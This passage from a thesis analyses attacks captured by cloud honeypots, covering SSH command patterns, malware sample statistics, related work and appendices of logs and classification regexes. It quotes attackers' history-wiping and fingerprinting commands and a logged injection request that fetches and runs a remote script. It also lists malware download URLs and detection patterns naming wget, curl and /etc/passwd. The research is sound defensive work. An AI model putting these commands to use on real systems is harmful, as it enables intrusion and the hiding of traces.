values for this are 5, 30 and 60 minutes (Fraunholz et al. 2017, p. 653). As the
collected dataset is too extensive for such an analysis, the focus is on SSH attacks,
which were one of the most frequent type of attacks and which also offer insights
into the attacker’s intention.

A Cowrie session slightly differs from the session definition above. The tool defines an
interactive terminal session, where a number of commands are entered and evaluated.
An attack is a specific command that was entered, while a pattern is the chain of all
commands entered during a session.

The collected data contains a total of 11,726 sessions with non-empty command list.
An average session takes around 4054 milliseconds and consists of 7.1 commands. Of
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all sessions, only 391 attack patterns were identified, which means that every pattern
is repeated about 30 times on average. Also, 153 sessions (1.3 %) contained at least
one action that is categorized as Human, hinting that even though the majority
of attacks were automated, at least some attackers manually tried to explore and
exploit the system.

With a total of 3028 different IP addresses, attackers often repeated attacks against
the five honeypots. In total, 38 patterns were detected with more than one origin IP,
meaning that they were performed using different IP addresses or hosts. The most
popular pattern (see Figure 5.11) was used by 1939 different IPs.

5.3.2. Post-compromise actions

In this section the attacker’s behavior is analyzed in detail. During the data acquisi-
tion phase, a total of 83,278 entries were entered, with 79,946 (96 %) of successful
commands. Of these, 778 distinct commands could be identified. The mean duration
of a command, more precisely the timespan between two commands, is approximately
792 milliseconds.

Following the newly combined analysis method described in section 5.1.2, it was
possible to categorize the majority of commands. For this, a software was created
that analyzes all sessions from a CSV file, given the categorization mapping shown
in Listing A.5. Table 5.7 provides a summary of the categorization. Any entry that
could not be mapped to a valid command is marked as unmatched. Commands that
had no significant effect, such as sleep, were grouped as no operation commands.
The categorization mapping was created manually from the data samples, therefore
over 97.5 % of commands could be successfully matched to one of the categories.

Once the categories are assigned to commands, they can be chained to build specific
attack pattern. These patterns have actions – the specific command – and states,
which is the assigned category. When state changes are analyzed, for example going
from a Check to an Exploit phase, they form a graph that can be plotted as a state
diagram.

This concept is visualized in Figure 5.10. The plot shows the type of operations an
attacker has taken and the order in which these are executed, including only the
main categories. For example, most attackers either immediately start an Exploit or
they try to remove traces of the intrusion.
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Category Commands Percentage
Check 51 6.56 %
Persist 1 0.13 %
Exploit 653 83.93 %
Cleanup 26 3.34 %
Human 25 3.21 %

(unmatched) 19 2.44 %
(no-op) 3 0.39 %
Total 778 100,00 %

Table 5.7.: Categorization of individual commands
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Figure 5.10.: State diagram of attacker behavior after login
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As for attack patterns, one of the most used patterns is depicted in Figure 5.11.
The corresponding command chain (Listing 5.2) shows how attackers immediately
attempt Cleanup operations, such as disabling Bash history. Afterwards, the system’s
software and hardware is examined, before the connection is interrupted again. This
pattern is interesting because it does not change the target system, reveals any
useful information about the machine to the attacker and is basically untraceable
if successfully executed. It is possible that this pattern is used to automatically
fingerprint compromised hosts, in order to access them at a later point in time.

Cleanup4425 Cleanup Cleanup Cleanup Cleanup Check Check Check Check 4425

Figure 5.11.: State diagram of the most observed SSH pattern

unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH
history -n
export HISTFILE=/dev/null
export HISTSIZE=0
export HISTFILESIZE=0
uname
ps -x
cat /proc/cpuinfo
free -m

Listing 5.2: Commands of most often observed SSH pattern

5.3.3. Comparison with Related Work

Compared to the study of Brown et al. (2012), who used mostly Azure and AWS
instances, the results are quite similar. In both experiments, most attacks are
launched from China, US and Russia, with a large portion of attacks coming from
a limited number of different IPs. Still, their study, which also looked at entered
commands during an SSH session, reveals an elevated percentage of commands that
were categorized as Human in this thesis, such as cd and exit commands. Since the
authors of the paper did not provide any concrete numbers about the total number
of attacks or the timespan of their experiment, it is difficult to find a plausible
explanation for this.
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Even though the study of Wählisch et al. (2013) has a slightly different setup,
using mobile honeypots with simulated Android and iOS environments, their results
coincide with the post-compromise analysis of this thesis. The authors describe the
general attack procedure as follows:

After gaining successfully a shell login and executing some common
commands, an adversary usually downloads malicious software and tries
to integrate the honeypot into an IRC-botnet. The attacker initiates
commands almost independently of the local system properties even if
this leads to conflicts (e.g., non-existing directories).

This description matches the observations described in subsection 5.3.2. A large
number of SSH attacks execute only Exploit commands and exit afterwards, dis-
regarding the environment or the operating system of the attacked system. This
behavior is also in contrast to the results of Ramsbrock, Berthier, and Cukier (2007),
which identified password changes as “the most common first step”, an action which
was barely observed in the dataset of this experiment.

As most related works in this field focus on locally accessible honeypot systems,
it might be interesting to compare usage of virtual cloud instances on public IP
ranges with physical machines on private networks. Most studies use honeypots in
existing university networks, where the public IPs are not explicitly listed. In the
study of Kheirkhah et al. (2013), SSH honeypots were deployed on physical machines
connected to a university network. A similar setup is used in the work of Sochor and
Zuzcak (2014). The similarities to the results of this thesis are numerous:

• The most frequently used commands include mostly Check commands.

• The most used ports besides 22 (SSH) are ports 445 (SMB) and 80 (HTTP).

• China and US are among the top origin countries.

• The majority of attacks is launched by a minority of IPs.

As the other studies were limited to some specific aspects, such as login credentials or
malware samples, no definite conclusions can be drawn. From the comparison of this
work with related works, there are almost no differences when operating honeypots
on regular machines, as opposed to a cloud infrastructure. Future research might
possibly yield results that are comparable to the ones in this thesis.
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5.3.4. Daytime Evaluation

An approach that is not much explored for intrusion detection is the extraction of
timestamps from the data in order to attribute attack waves to specific countries
or regions. The main idea is to aggregate timestamps of incidents and time zones
retrieved through fingerprinting tools. The results show the distribution of attacks
over the day, for any country in the local time determined by the geographic location
of the attack.

From the experimental dataset, the top 3 origin countries were analyzed. Figure 5.12
shows the compiled results for Russia. Compared to the other top origin countries
China and USA (Figure B.3), Russia has a very distinct graph with peaks around
7 am and 7 pm local time. The data plot reveals activities before and after work,
mainly outside of regular business hours.

Figure 5.12.: Hourly distribution of connections originating in Russia

While not every country displays such a distinctive graph, the data could be used
in conjunction with other data sources to detect suspicious or bad traffic based on
daytime and origin country.

5.3.5. Malware

The Dionaea honeypot collects malware transmitted via FTP, SMB and various
other protocols. In addition to that, Cowrie saves a copy of any newly created or
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downloaded files into its log folder. Together, they collected a total of 1719 unique
file samples.

A quick analysis with the Linux �le utility results in the file types shown in Table 5.8.
Since SMB is often used with Microsoft operating systems, it is not surprising that
Dionaea received mostly Windows executables. For Cowrie, which simulates a Linux
machine, attackers deployed mainly ELF binaries, along with a number of Python,
Perl and Bash scripts (categorized as ASCII).

Dionaea Cowrie
PE32 1140 0

HTML 137 0

ELF 4 323

ASCII 4 27

MS-DOS 2 0
empty 38 44

Table 5.8.: File types collected by Dionaea and Cowrie

All things considered, most malware samples captured by Dionaea seem to target
mostly Microsoft Windows systems, while Unix binaries and malicious scripts were
more present on Cowrie. In either case, executable binaries are preferred over other
file types.

5.3.6. Honeypot Countermeasures

A factor that might influence an attacker’s behavior is the limitation of the deployed
low-interaction honeypot software, which does very little to simulate realistic envi-
ronments. If a client is able to spot the trap, it can behave in an innocuous way such
that no alarms are raised and the real attack goes undetected. During the traffic
analysis, it was not possible to reliably distinguish between human and automated
attackers. Since most simulated services are trivial, the deception is detected as soon
as an attacker manually inspects the system.

As there are no signs of an explicit attempt to identify honeypots, and no suspicious
commands were collected, there is no evidence of honeypot countermeasures. Still,
Cowrie compiled 526 sessions that lead to an interruption of the attack after one or
multiple Check commands. Therefore, it is possible that some attackers immediately
identified the scam and stopped interacting with the system.
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The goal of this thesis is to extend the existing knowledge about information security
in cloud computing. For this, an experiment was set up that uses honeypots to
study the interaction of attackers with various services. Over a period of two months
and with the help of five machines, over 37.5 GB of raw logs were collected, which
resulted in over 176,158,872 entries to analyze. The following sections discuss the
results and give an outlook for future research.

6.1. Summary

In order to assess the results, it is helpful to compare them with existing research
results, both for cloud computing and regular infrastructures. From the comparison of
results to related studies (see subsection 5.3.3), it seems that there are no significant
differences between cloud systems and regular Internet-connected machines with
regards to SSH intrusions. Possibly the most impactful distinction is the number
of attacks. An explanation for this might be that the deployment of honeypots on
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cloud platforms is easier than setting up multiple physical machines. Therefore, more
systems can be set up and more logs can be collected from a single physical machine.

The analysis produced a number of substantial results. First, a lot of attacks were
registered over a rather short period, which is surprising, as the exact honeypot
IP addresses were not published beforehand. This means that even though the
network address of Internet-connected devices is unlisted, mass scanners discover
them anyway in a short time. The greatest number of connections come from China,
the US and Russia. Still, it is remarkable that the majority of attacks are launched
from a very limited number of source IPs. It is possible that there are only few
systems per country that target cloud providers, looking for vulnerable or exposed
systems. Altogether, it is trivial to add these systems to firewall configurations and
blacklists in order to prevent attacks.

Speaking of targets, the study yielded far more results than expected. Cowrie and
Dionaea collected over 1000 file samples, with a majority of executable binaries for
Windows and Unix systems. One could observe how VNC was the most targeted
service, which was a target of various bruteforce attacks. However, the SSH service
was also significantly hit by attacks, which produced the most useful data for profiling
attackers. The insights from the attack pattern analysis are as follows:

• The number of different attack patterns is limited.

• Attackers use automated scripts for attacks, which means that the same attack
patterns are often repeated.

• The most used attack pattern is a routine of Check and Cleanup operations,
which allows attackers to automatically fingerprint compromised hosts without
raising suspicions.

Finally, the analysis of the hourly distribution of attacks was introduced. Through
aggregation of timestamps and geo-ip information, it is possible to create a distinctive
graph for every origin country. Future research on this matter could reveal a
novel method at cyber attribution, namely figuring out the real origin of attacks
independently from the IP information, which is easily falsifiable.

The analysis phase also included a chapter about differences between cloud providers
and between geographical regions. Both was achieved with the use of five different
machines, three US machines representing provider differences, and two additional
servers in the EU and India to compare the regions. Due to the limited number of
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machines, this thesis primarily used explorative research to develop hypotheses on
geographic differences. The findings show only minor differences between AWS, Azure
and GCP. It is assumed that, since all three service providers share key features
of cloud computing and provide IaaS on a global scale, attackers and criminals
have no single preference for any provider. Also, SSH login credentials and attacked
services were comparable across all machines. In addition to that, all three companies
regularly publish their IP ranges for their instances, which makes it easier for attackers
to scan for machines of a selected provider.

The experiment also made use of Suricata, a classical IDS, and p0f as a fingerprinting
tool for comparison and enrichment of the raw log data. As a conclusion, the
honeypots produced a multitude of useful information, but only the aggregation
with timestamps, geo-ip information and IP reputation databases created a valuable
dataset. This dataset could be the base for further research and might improve the
current state of intrusion detection.

6.2. Limitations

There were several limiting factors of this work during the collection and analysis of
the honeypot data.

1. To begin with, there were financial limitations regarding cloud costs. While it
would have been possible to exclusively use free tier services, which all providers
offer, the quality of results would have suffered significantly because of under-
powered honeypot machines. However, to maximize the number of instances
and to simultaneously ensure the flawless execution of the honeypots, only five
instances were used. These matched the minimal hardware requirements of
the T-Pot framework. An additional machine with extended storage space was
rented for collecting the log files.

2. Due to the above restriction, it was only possible to compare few different
regions and vendors. This influences the representativeness of the dataset.
Since the number of instances per region is limited, there might be a bias in
the dataset resulting from provider differences. However, the results hint at
effects which can be used as a starting point for more in-depth elaborations.

3. Since T-Pot is based on the Ubuntu distribution, all VM instances and the
honeypot softwares were based on Linux systems. Also, mostly low-interaction
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honeypots were used, which compared to high-interaction honeypots produce
less information.

4. To analyze the dataset, Elasticsearch was used, which required special hardware
to operate effectively. A machine with 48 GB of RAM was necessary to reduce
the processing time of complex database queries to less than 10 minutes.
Therefore, the number of findings was limited to factors that yielded results in
that timeframe. Most analyses in section 5.3 were done with custom software
scripts, which are found on the attached CD.

6.3. Future Work

The database that was created during this thesis is only a starting point for more
research in this field. Cloud computing is an integral part of today’s digital reality.
Therefore, further research and work into this is required and recommended. The
long-term goal is not only to identify new attack patterns, but also to develop
countermeasures and shield public cloud services from such threats.

In detail, the following selection of topics build upon the results of this thesis and
offer potential to significantly improve the state-of-the-art of intrusion detection and
prevention:

• Worldwide honeypot network: Having a number of honeypots around the
world that continuously collect data, allows to have an always up-to-date view
of current attack waves and emerging threats. Such a system could act as an
autonomous early warning system.

• Analysis of malware deployed on cloud instances: The threat of sophisti-
cated ransomware which takes databases hostage and spreads over unprotected
systems is ubiquitous. By analyzing new malware strains, which spread over
to honeypot systems, antivirus companies could get early access to these in
order to update their signature lists and protect millions of users before they
are directly affected.

• Exploitation of databases: The resulting logs also included a number of
attempts at attacking databases, through vendor-specific scripts and vulnera-
bilities. These could be analyzed in detail, as exposed databases are often the
cause for data breaches.
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• Automatic extraction and aggregation of honeypot data: The analysis
methods in this thesis were sufficient to examine an offline database. But the
future of cloud security is automation. Thus new methods are required, which
can extract relevant information from data streams automatically. An example
are Machine Learning systems, which could be trained with the collected
dataset to improve its detection. Some research already addresses this problem,
using such methods to detect intruders (Zammit 2016).

In conclusion, the issues addressed in this thesis will continue to be relevant, and in
the long run the centralization of systems and data in cloud datacenters will stay a
central topic for information security.

63



64



6
Bibliography

Armbrust, Michael et al. (2010). “A view of cloud computing.” In: Commun. ACM
53.4, pp. 50–58. doi: 10.1145/1721654.1721672. url: http://doi.acm.org/10.
1145/1721654.1721672.

Baecher, Paul et al. (2006). “The Nepenthes Platform: An Efficient Approach to
Collect Malware.” In: Recent Advances in Intrusion Detection, 9th International
Symposium, RAID 2006, Hamburg, Germany, September 20-22, 2006, Proceedings,
pp. 165–184. doi: 10.1007/11856214\_9. url: https://doi.org/10.1007/
11856214%5C_9.

Brown, Stephen et al. (2012). “Honeypots in the cloud.” In: University of Wisconsin-
Madison.

Challoo, Rajab and Raghavendra Kotapalli (2011). “Detection of botnets using
honeypots and p2p botnets.” In: International Journal of Computer Science and
Security (IJCSS) 5.5, p. 496.

Chinn, Ryan (2015). “Botnet Detection: Honeypots and the Internet of Things.”
PhD thesis. University of Arizona.

65

https://doi.org/10.1145/1721654.1721672
http://doi.acm.org/10.1145/1721654.1721672
http://doi.acm.org/10.1145/1721654.1721672
https://doi.org/10.1007/11856214\_9
https://doi.org/10.1007/11856214%5C_9
https://doi.org/10.1007/11856214%5C_9


Bibliography

Deutsche Telekom AG (2018). T-Pot. Version 17.10. url: https://github.com/
dtag-dev-sec/tpotce (visited on October 1, 2018).

DinoTools (2018). Dionaea. Version 0.8.0. url: https://github.com/DinoTools/
dionaea (visited on October 1, 2018).

Edmunds, Brandon (2018). Mailoney. Version 0.1. url: https://github.com/
awhitehatter/mailoney (visited on October 1, 2018).

Elastic (2018a). Elasticsearch. Version 5.6.9. url: https://www.elastic.co/
products/elasticsearch (visited on October 1, 2018).

– (2018b). Elasticsearch. Version 5.6.9. url: https://www.elastic.co/products/
kibana (visited on October 1, 2018).

– (2018c). Logstash. Version 5.6.9. url: https://www.elastic.co/products/
logstash (visited on October 1, 2018).

Fraunholz, Daniel et al. (2017). “Data Mining in Long-Term Honeypot Data.”
In: 2017 IEEE International Conference on Data Mining Workshops, ICDM
Workshops 2017, New Orleans, LA, USA, November 18-21, 2017, pp. 649–656. doi:
10.1109/ICDMW.2017.92. url: https://doi.org/10.1109/ICDMW.2017.92.

Freiling, Felix C., Thorsten Holz, and Georg Wicherski (2005). “Botnet Tracking:
Exploring a Root-Cause Methodology to Prevent Distributed Denial-of-Service
Attacks.” In: Computer Security - ESORICS 2005, 10th European Symposium on
Research in Computer Security, Milan, Italy, September 12-14, 2005, Proceedings,
pp. 319–335. doi: 10.1007/11555827\_19. url: https://doi.org/10.1007/
11555827%5C_19.

Garfinkel, Tal and Mendel Rosenblum (2003). “A Virtual Machine Introspection
Based Architecture for Intrusion Detection.” In: Proceedings of the Network and
Distributed System Security Symposium, NDSS 2003, San Diego, California, USA.
url: http : / / www . isoc . org / isoc / conferences / ndss / 03 / proceedings /

papers/13.pdf.
Howard, John D and Thomas A Longstaff (1998). A common language for computer
security incidents. Tech. rep. Sandia National Labs., Albuquerque, NM (US);
Sandia National Labs., Livermore, CA (US).

Kheirkhah, Esmaeil et al. (2013). “An Experimental Study of SSH Attacks by using
Honeypot Decoys.” In: Indian Journal of Science and Technology 6.12. issn: 0974
-5645. url: http://www.indjst.org/index.php/indjst/article/view/43618.

McMurray, Stuart (2018). vnclowpot. url: https://github.com/magisterquis/
vnclowpot (visited on October 1, 2018).

66

https://github.com/dtag-dev-sec/tpotce
https://github.com/dtag-dev-sec/tpotce
https://github.com/DinoTools/dionaea
https://github.com/DinoTools/dionaea
https://github.com/awhitehatter/mailoney
https://github.com/awhitehatter/mailoney
https://www.elastic.co/products/elasticsearch
https://www.elastic.co/products/elasticsearch
https://www.elastic.co/products/kibana
https://www.elastic.co/products/kibana
https://www.elastic.co/products/logstash
https://www.elastic.co/products/logstash
https://doi.org/10.1109/ICDMW.2017.92
https://doi.org/10.1109/ICDMW.2017.92
https://doi.org/10.1007/11555827\_19
https://doi.org/10.1007/11555827%5C_19
https://doi.org/10.1007/11555827%5C_19
http://www.isoc.org/isoc/conferences/ndss/03/proceedings/papers/13.pdf
http://www.isoc.org/isoc/conferences/ndss/03/proceedings/papers/13.pdf
http://www.indjst.org/index.php/indjst/article/view/43618
https://github.com/magisterquis/vnclowpot
https://github.com/magisterquis/vnclowpot


Bibliography

Mell, Peter and Tim Grance (2010). “The NIST definition of cloud computing.” In:
Communications of the ACM 53.6, p. 50.

Modi, Chirag et al. (2013). “A survey of intrusion detection techniques in Cloud.”
In: J. Network and Computer Applications 36.1, pp. 42–57. doi: 10.1016/j.jnca.
2012.05.003. url: https://doi.org/10.1016/j.jnca.2012.05.003.

Mokube, Iyatiti and Michele Adams (2007). “Honeypots: concepts, approaches, and
challenges.” In: Proceedings of the 45th Annual Southeast Regional Conference,
2007, Winston-Salem, North Carolina, USA, March 23-24, 2007, pp. 321–326.
doi: 10.1145/1233341.1233399. url: http://doi.acm.org/10.1145/1233341.
1233399.

Mulliner, Collin, Steffen Liebergeld, and Matthias Lange (2011). “Poster: Honeydroid
- Creating a Smartphone Honeypot.” In: IEEE Symposium on Security and Privacy.
Vol. 2.

MushMush Foundation (2018). SNARE. Version 0.9. url: http://mushmush.org/
(visited on October 1, 2018).

Nakashima, Ellen and Craig Timberg (May 2017). NSA officials worried about the day
its potent hacking tool would get loose. Then it did. url: http://wapo.st/2rdBQb8
(visited on October 1, 2018).

Newcomer, Eric (November 2017). Uber Paid Hackers to Delete Stolen Data on 57
Million People. url: https://www.bloomberg.com/news/articles/2017-11-
21/uber-concealed-cyberattack-that-exposed-57-million-people-s-data

(visited on May 30, 2018).
Newman, Lily Hay (July 2017). Blame Human Error for WWE and Verizon’s
Massive Data Exposures. url: https://www.wired.com/story/amazon-s3-data-
exposure/ (visited on May 30, 2018).

O’Sullivan, Dan (November 2017). Black Box, Red Disk: How Top Secret NSA and
Army Data Leaked Online. url: https://www.upguard.com/breaches/cloud-
leak-inscom (visited on May 30, 2018).

Oosterhof, Michel (2018). Cowrie. Version 1.5.1. url: https : / / github . com /

micheloosterhof/cowrie (visited on October 1, 2018).
Open Information Security Foundation (2018). Suricata. Version 4.0.5. url: https:
//suricata-ids.org/ (visited on October 1, 2018).

Peyrefitte, Sylvain (2018). RDPY. Version 1.3.2. url: https : / / github . com /
citronneur/rdpy (visited on October 1, 2018).

67

https://doi.org/10.1016/j.jnca.2012.05.003
https://doi.org/10.1016/j.jnca.2012.05.003
https://doi.org/10.1016/j.jnca.2012.05.003
https://doi.org/10.1145/1233341.1233399
http://doi.acm.org/10.1145/1233341.1233399
http://doi.acm.org/10.1145/1233341.1233399
http://mushmush.org/
http://wapo.st/2rdBQb8
https://www.bloomberg.com/news/articles/2017-11-21/uber-concealed-cyberattack-that-exposed-57-million-people-s-data
https://www.bloomberg.com/news/articles/2017-11-21/uber-concealed-cyberattack-that-exposed-57-million-people-s-data
https://www.wired.com/story/amazon-s3-data-exposure/
https://www.wired.com/story/amazon-s3-data-exposure/
https://www.upguard.com/breaches/cloud-leak-inscom
https://www.upguard.com/breaches/cloud-leak-inscom
https://github.com/micheloosterhof/cowrie
https://github.com/micheloosterhof/cowrie
https://suricata-ids.org/
https://suricata-ids.org/
https://github.com/citronneur/rdpy
https://github.com/citronneur/rdpy


Bibliography

Pfleeger, Charles P. and Shari Lawrence Pfleeger (2012). Security in Computing, 4th
Edition. Prentice Hall. isbn: 978-0-13-239077-4.

Ponemon Institute LLC (October 2016a). Cloud Malware and Data Breaches in
Europe: 2016 Study. url: https://resources.netskope.com/cloud-security-
reports-1/cloud-malware-and-data-breaches-in-europe-2016-study.

– (October 2016b). Cloud Malware and Data Breaches in North America: 2016 Study.
url: https://resources.netskope.com/cloud-security-reports-1/cloud-
malware-and-data-breaches-in-north-america-2016-study.

Provos, Niels (2004). “A Virtual Honeypot Framework.” In: Proceedings of the 13th
USENIX Security Symposium, August 9-13, 2004, San Diego, CA, USA, pp. 1–14.
url: http://www.usenix.org/publications/library/proceedings/sec04/
tech/provos.html.

Provos, Niels and Thorsten Holz (2008). Virtual Honeypots - From Botnet Tracking
to Intrusion Detection. Addison-Wesley. isbn: 978-0-321-33632-3.

Ramsbrock, Daniel, Robin Berthier, and Michel Cukier (2007). “Profiling Attacker
Behavior Following SSH Compromises.” In: The 37th Annual IEEE/IFIP Interna-
tional Conference on Dependable Systems and Networks, DSN 2007, 25-28 June
2007, Edinburgh, UK, Proceedings, pp. 119–124. doi: 10.1109/DSN.2007.76. url:
https://doi.org/10.1109/DSN.2007.76.

Rist, Lukas et al. (2010). “Know your tools: Glastopf - A dynamic, low-interaction web
application honeypot.” In: The Honeynet Project. url: https://www.honeynet.
org/sites/default/�les/�les/KYT-Glastopf-Final_v1.pdf.

Salles-Loustau, Gabriel et al. (2011). “Characterizing Attackers and Attacks: An Em-
pirical Study.” In: 17th IEEE Pacific Rim International Symposium on Dependable
Computing, PRDC 2011, Pasadena, CA, USA, December 12-14, 2011, pp. 174–183.
doi: 10.1109/PRDC.2011.29. url: https://doi.org/10.1109/PRDC.2011.29.

Seifert, Christian, Ian Welch, Peter Komisarczuk, et al. (2007). “HoneyC - The
Low-Interaction Client Honeypot.” In: Proceedings of the 2007 NZCSRCS, Waikato
University, Hamilton, New Zealand 6.

Sochor, Tomas and Matej Zuzcak (2014). “Study of Internet Threats and Attack
Methods Using Honeypots and Honeynets.” In: Computer Networks. Ed. by Andrzej
Kwiecień, Piotr Gaj, and Piotr Stera. Cham: Springer International Publishing,
pp. 118–127. isbn: 978-3-319-07941-7.

Sokol, Pavol, Jakub Míšek, and Martin Husák (2017). “Honeypots and honeynets:
issues of privacy.” In: EURASIP Journal on Information Security 2017.1, p. 4.

68

https://resources.netskope.com/cloud-security-reports-1/cloud-malware-and-data-breaches-in-europe-2016-study
https://resources.netskope.com/cloud-security-reports-1/cloud-malware-and-data-breaches-in-europe-2016-study
https://resources.netskope.com/cloud-security-reports-1/cloud-malware-and-data-breaches-in-north-america-2016-study
https://resources.netskope.com/cloud-security-reports-1/cloud-malware-and-data-breaches-in-north-america-2016-study
http://www.usenix.org/publications/library/proceedings/sec04/tech/provos.html
http://www.usenix.org/publications/library/proceedings/sec04/tech/provos.html
https://doi.org/10.1109/DSN.2007.76
https://doi.org/10.1109/DSN.2007.76
https://www.honeynet.org/sites/default/files/files/KYT-Glastopf-Final_v1.pdf
https://www.honeynet.org/sites/default/files/files/KYT-Glastopf-Final_v1.pdf
https://doi.org/10.1109/PRDC.2011.29
https://doi.org/10.1109/PRDC.2011.29


Bibliography

Tamminen, Upi (2018). Kippo. Version 0.9. url: https://github.com/desaster/
kippo (visited on October 1, 2018).

Wählisch, Matthias et al. (2013). “Design, Implementation, and Operation of a
Mobile Honeypot.” In: CoRR abs/1301.7257. arXiv: 1301 . 7257. url: http :
//arxiv.org/abs/1301.7257.

Werner, Tillmann (2007). “Honeytrap – Ein Meta-Honeypot zur Identifikation und
Analyse neuer Angriffe.” In: Proceedings of the 14th DFN-CERT Workshop Sicher-
heit in Vernetzten Systemen.

Wicherski, Georg (2010). “Placing a low-interaction honeypot in-the-wild: A review
of mwcollectd.” In: Network Security 2010.3, pp. 7–8. doi: 10.1016/S1353-
4858(10)70034-9. url: https://doi.org/10.1016/S1353-4858(10)70034-9.

Zammit, Daniel (2016). “A machine learning based approach for intrusion prevention
using honeypot interaction patterns as training data.” University of Malta.

69

https://github.com/desaster/kippo
https://github.com/desaster/kippo
https://arxiv.org/abs/1301.7257
http://arxiv.org/abs/1301.7257
http://arxiv.org/abs/1301.7257
https://doi.org/10.1016/S1353-4858(10)70034-9
https://doi.org/10.1016/S1353-4858(10)70034-9
https://doi.org/10.1016/S1353-4858(10)70034-9


70



Glossary

AWS Amazon Web Services
C&C Command&Control
CVE Common Vulnerabilities and Exposures
DDoS Distributed Denial-of-Service
DoS Denial-of-Service
DSL Domain Specific Language
DTAG Deutsche Telekom AG
FTP File Transfer Protocol
GCP Google Cloud Platform
GPL General Public License
HIDS Host-based Intrusion Detection System
IaaS Infrastructure as a Service
IDS Intrusion Detection System
IoT Internet of Things
JSON JavaScript Object Notation
LFI Local File Inclusion
MITM Man-In-The-Middle
MSSQL Microsoft SQL Server
NIDS Network-based Intrusion Detection System
NIST National Institute of Standards and Technology
OSI Open Systems Interconnection
OWASP Open Web Application Security Project
PaaS Platform as a Service
RDP Remote Desktop Protocol
RFI Remote File Inclusion
SaaS Software as a Service
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Glossary

SIP Session Initiation Protocol
SMB Server Message Block
SMTP Simple Mail Transfer Protocol
SSH Secure Shell
TLS Transport Layer Security
VNC Virtual Network Computing
VoIP Voice over IP
XSS Cross-Site-Scripting
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A
Data Collection

A.1. Log File Samples

cowrie.login.failed login attempt [root/toor] failed
cowrie.login.failed login attempt [root/letmein] failed
cowrie.login.failed login attempt [root/password] failed
cowrie.login.failed login attempt [root/root] failed
cowrie.login.success login attempt [root/admin] succeeded
cowrie.login.failed login attempt [root/] failed

Listing A.1: Example output of SSH login attempts with Cowrie

5.3.XXX.XXX requested GET / on e1817f78e8ec:80
168.197.XXX.XXX requested POST / on e1817f78e8ec:80
14.42.XXX.XXX requested GET /login.cgi?cli=aa%20aa%27;wget%20http
://46.166.XXX.XXX/e%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ on
e1817f78e8ec:80

Listing A.2: Glastopf log data showing the source IP and the target URL (shortened)
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A.2. ELASTICSEARCH

A.2. Elasticsearch

1 {
2 "query": {
3 "bool": {
4 "must": [
5 {
6 "match_all": {}
7 },
8 {
9 "match_phrase": {

10 "type": {
11 "query": "P0f"
12 }
13 }
14 },
15 {
16 "range": {
17 "@timestamp": {
18 "gte": 1530396000000,
19 "lte": 1533074399999,
20 "format": "epoch_millis"
21 }
22 }
23 }
24 ],
25 "must_not": []
26 }
27 },
28 "aggs": {
29 "2": {
30 "terms": {
31 "field": "os.keyword",
32 "size": 10,
33 "order": {
34 "_count": "desc"
35 }
36 }
37 }
38 }
39 }

Listing A.3: An Elasticsearch query that lists the top 10 OS versions detected by p0f
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APPENDIX A. DATA COLLECTION

1 # Cowrie
2 file {
3 path => ["/data/cowrie/log/cowrie.json"]
4 codec => json
5 type => "Cowrie"
6 }
7

8 # Output section
9 output {

10 elasticsearch {
11 hosts => ["elasticsearch:9200"]
12 }

Listing A.4: Extract from the Logstash configuration file. The settings defines a log file
as input and send new entries to an Elasticsearch instance

A.3. Category Mapping

[Check]
cat /etc/os-release
cat /etc/issue
cat /etc/passwd
cat /proc/cpuinfo
cat /proc/version
cat [^\0\>]+
cd
free
grep
hostname
ifconfig
top
ls.*
lscpu
ps
pwd
uname
uptime
w$

[Persist]
passwd
useradd

75



A.3. CATEGORY MAPPING

[Exploit]
apt install
apt-get update
apt-get install
aptitude install
pip3 install
yum install
yum update
bash -c
bash [^\0]+
nohup
perl
python
sh
\.\/\w+
\/\w+
cat( [\s\w\d]*>.*|>.*)
chmod
ln
tar
curl
wget
scp
echo( .*>.*|>.*)
mkdir
service \w* stop
/etc/init.d/iptables stop
kill
su(do | )

[Cleanup]
export HIST\w*=
HIST\w*=
history
rm (-\w+)*
touch /var/log
touch .*?/.bash_history
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG WATCH

[No category]
reboot
sleep
apt-get upgrade

[Human]
clear
echo
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APPENDIX A. DATA COLLECTION

exit
man
pwd
pip -V
pip3 -V
screen
python --version
help
ls$

[Typos]
cd\.\.
etc\/init.d\/iptables stop
ifcon$
man histor$

Listing A.5: The complete mapping of regular expressions used to classify commands
entered during an SSH session.
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B
Findings

B.1. Visualizations

Figure B.1.: Comparison of SSH durations by region
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B.1. VISUALIZATIONS

Figure B.2.: Overview of the top countries from where attacks are launched (ranging from
green (low amount) to red (high amount))

Figure B.3.: Comparison of hourly distribution of connections for the top 3 origin countries
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APPENDIX B. FINDINGS

B.2. Data Tables

Operating System Count
Windows 7 or 8 6,258,485

Linux 3.11 and newer 6,192,227

Unknown 6,173,625

Windows XP 1,352,079

Linux 2.2.x-3.x 913,210

Linux 3.1-3.10 298,717

Windows NT kernel 105,032

Linux 2.4.x 55,368

Linux 2.6.x 49,514

Linux 2.2.x-3.x (no timestamps) 30,656

Table B.1.: Top operating systems of incoming requests

Destination Count
ya.ru 36,901

api.ipify.org 4342

41.78.24.170 3113

192.227.210.154 2981

bot.whatismyipaddress.com 2810

23.94.17.122 2256

www.google.com 2101

2a02:6b8:a::a 1683
smtp.qq.com 1482

192.108.239.107 1429

89.39.105.12 1276

signup.live.com 1238

video-weaver.waw01.hls.ttvnw.net 1206

195.201.43.23 933

idmsa.apple.com 930

iforgot.apple.com 928

123.249.9.48 885

114.215.148.72 824

73.83.34.25 764

login.live.com 761

Table B.2.: 20 major destinations of outgoing requests
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B.2. DATA TABLES

SHA-256
(trimmed) Source

VT De-
tection
Rate

Count

9c284896 stdin 39 / 59 597

5685b086 stdin 33 / 59 596

86fbdd7d stdin 33 / 58 595

0ffa9e64 stdin 36 / 58 594

5c8c4125 stdin 38 / 59 577

b33b30c3 stdin 28 / 59 129

f8c28666 /dev/null 0 / 59 26

fc519396 http://222.187.XXX.XXX:8386/Linux2.6lei 36 / 57 9

1177796a http://i.uk.ms/ssh/ssh 8 / 60 6

Table B.3.: Top occurring file samples with more than five occurrences collected by Cowrie,
with VirusTotal detection rates

Command Successful Count
cat /proc/cpuinfo yes 7518

export HISTFILE=/dev/null yes 7464

export HISTFILESIZE=0 yes 7464

history -n yes 7464
uname yes 7463

unset HISTORY HISTFILE HISTSAVE HISTZONE
HISTORY HISTLOG WATCH

yes 7463

export HISTSIZE=0 yes 7462
ps -x yes 7457

free -m yes 7453

